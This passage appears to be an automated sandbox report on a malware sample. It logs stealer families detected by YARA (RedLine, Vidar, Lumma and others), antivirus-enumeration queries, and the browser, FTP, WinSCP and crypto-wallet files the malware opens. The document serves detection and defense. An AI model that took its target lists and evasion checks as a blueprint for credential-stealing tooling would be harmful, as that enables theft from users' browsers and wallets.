Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Queries volume information: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Queries volume information: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Queries volume information: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Queries volume information: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Queries volume information: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe VolumeInformation
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Queries volume information: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_005410FE GetSystemTimeAsFileTime,

7_2_005410FE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

39_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

39_2_004174D0

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

Code function: 18_2_0040681B GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

18_2_0040681B

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Provider\Av\{D68DDC3A-831F-4fae-9E44-DA132C1ACF46} STATE

Jump to behavior

Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1531038294.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, WxZ3BbtftdHbX6Ud8IQWTcja.exe, 0000000F.00000002.1594842961.0000000001301000.00000004.00000020.00020000.00000000.sdmp, oLvXEE2e9pIf4hDzNZ63ennK.exe, 00000010.00000002.1564921383.00000000012B1000.00000004.00000020.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1600041878.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: dFpuQ1Q9a79sUJWPwukBnd_d.exe, 0000000B.00000002.1531038294.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, WxZ3BbtftdHbX6Ud8IQWTcja.exe, 0000000F.00000002.1594842961.0000000001301000.00000004.00000020.00020000.00000000.sdmp, oLvXEE2e9pIf4hDzNZ63ennK.exe, 00000010.00000002.1564921383.00000000012B1000.00000004.00000020.00020000.00000000.sdmp, Wzy1vqDHala63jbsaIZzYTRV.exe, 00000011.00000002.1600041878.0000000000FC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe
Source: svchost.exe, 00000003.00000002.2774384542.00000212D6102000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Files%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000003.00000002.2774384542.00000212D6102000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.1736136504.0000000003685000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1573411911.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 16.2.oLvXEE2e9pIf4hDzNZ63ennK.exe.3fa5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.oLvXEE2e9pIf4hDzNZ63ennK.exe.3fa5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1762946732.0000000003FA5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.1890496546.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oLvXEE2e9pIf4hDzNZ63ennK.exe PID: 1168, type: MEMORYSTR

Yara detected Socks5Systemz

Source: Yara match	File source: 0000002C.00000002.2778026590.0000000002C61000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.2778125105.0000000002D01000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000027.00000002.1854151325.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 43.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.dFpuQ1Q9a79sUJWPwukBnd_d.exe.3b65570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000002.2247859722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1710440132.0000000003B65000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dFpuQ1Q9a79sUJWPwukBnd_d.exe PID: 576, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe, 00000005.00000002.1283677827.0000000003480000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: RegAsm.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
